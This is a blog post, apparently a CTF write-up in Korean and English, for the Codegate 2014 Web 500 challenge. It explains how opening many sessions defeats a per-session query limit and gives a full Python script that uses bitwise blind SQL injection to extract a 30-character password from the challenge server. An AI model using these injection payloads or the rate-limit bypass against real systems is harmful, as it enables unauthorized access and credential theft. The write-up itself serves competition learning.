본문 바로가기

Computer Security/CTF

[Codegate 2014 quals] Web 500 write up

이번 대회는 포너블 몇개랑 웹 두개를 풀었는데,

포너블들은 정말 지저분하게 풀었고, 깔끔하게 나오는 익스플로잇이 이것밖에 없어서.. 이 익스플로잇만 올립니다.


처음에 이 문제를 보고, wechall에 있는 md5를 blind injection으로 횟수제한 걸고 맞추는 문제를 떠올렸는데,

그게 페이크였던것 같다

여기선 md5도 아니고, 문서에 잇는 문자를 랜덤으로 가져오는데, 

30글자가 모두 소문자라고 하더라도, 한 문자당 5번, 총 150번 정도는 필요하다.

물론 time-based도 가능은 하지만, 시간도 오래 걸리고, CTF에서는 정확도가 떨어진다. (서버상태때문)


근데 문득 든 생각이, IP 하나가, 여러개의 세션을 만들 수 있다라는 것이다.

그리고 DB에는 하나의 패스워드 (가장 마지막으로 만든 세션의 패스워드)만 저장이 된다.


즉, 카운트가 120이 아닌, 실제로는 무한대라는것.


그래서, 익스플로잇에서는 처음에 여러개의 세션을 만들고,

한 세션으로 5글자씩 알아내는 방법으로 알아낸후,

최종 세션을 이용해 정답을 제출한다.


As you see the following code, first, I made multiple sessions.

Each sessions have their own 'cnt' variable.

But, in mysql database, only the password of last session is saved.

After that, the password is compared with IP address, not session.

So, although I use different sessions, I can access to a same password.

(It means that the counting is meaningless)

after I extract the password, auth password using the last session.


http://pastebin.com/y4zaHQtb


  1. import httplib
  2. import urllib
  3. import sys
  4. import time
  5.  
  6. conn = httplib.HTTPConnection('58.229.183.24',80)
  7. conn.connect()
  8.  
  9. session_header = '95hem28h053quulk22r5696me'
  10.  
  11. answer = ""
  12.  
  13. # create sessions
  14. for i in range(0, 10):
  15.     ch = chr(ord('0') + i)
  16.     print "Session make: "+ch
  17.     conn.putrequest('GET', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
  18.     conn.putheader('Cookie', 'PHPSESSID='+session_header+ch+';')
  19.     conn.endheaders()
  20.     resp = conn.getresponse()
  21.     data = resp.read()
  22.  
  23. # injection
  24. for aa in range(0, 10):
  25.  ch = chr(ord('0') + aa)
  26.  for k in range(1 + aa*5, 6 + aa*5):
  27.    #i=96
  28.    i=0
  29.    for m in range(1, 9):
  30.         query = "' or substr(LPAD(bin(ascii(substr(password,"+str(k)+",1))),8,0),"+str(m)+",1)=0x31 and 'a' = 'a"
  31.         params = 'password='+urllib.quote(query)
  32.         conn.putrequest('POST', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
  33.         conn.putheader('Content-length', str(len(params)))
  34.         conn.putheader('Content-Type', 'application/x-www-form-urlencoded')
  35.         conn.putheader('Cookie', 'PHPSESSID='+session_header + ch +';')
  36.         conn.endheaders()
  37.         conn.send(params)
  38.  
  39.         resp = conn.getresponse()
  40.         data = resp.read()
  41.  
  42.         if "True" in data:
  43.             i += pow(2,8-m)
  44.             print str(m)+" "+str(i)
  45.    answer = answer + chr(i)
  46.    print "Find: "+answer
  47.  if len(answer) == 30:
  48.     break
  49.  
  50. print "Answer: "+answer
  51. print "Session: "+session_header+'9'
  52.  
  53. conn.close()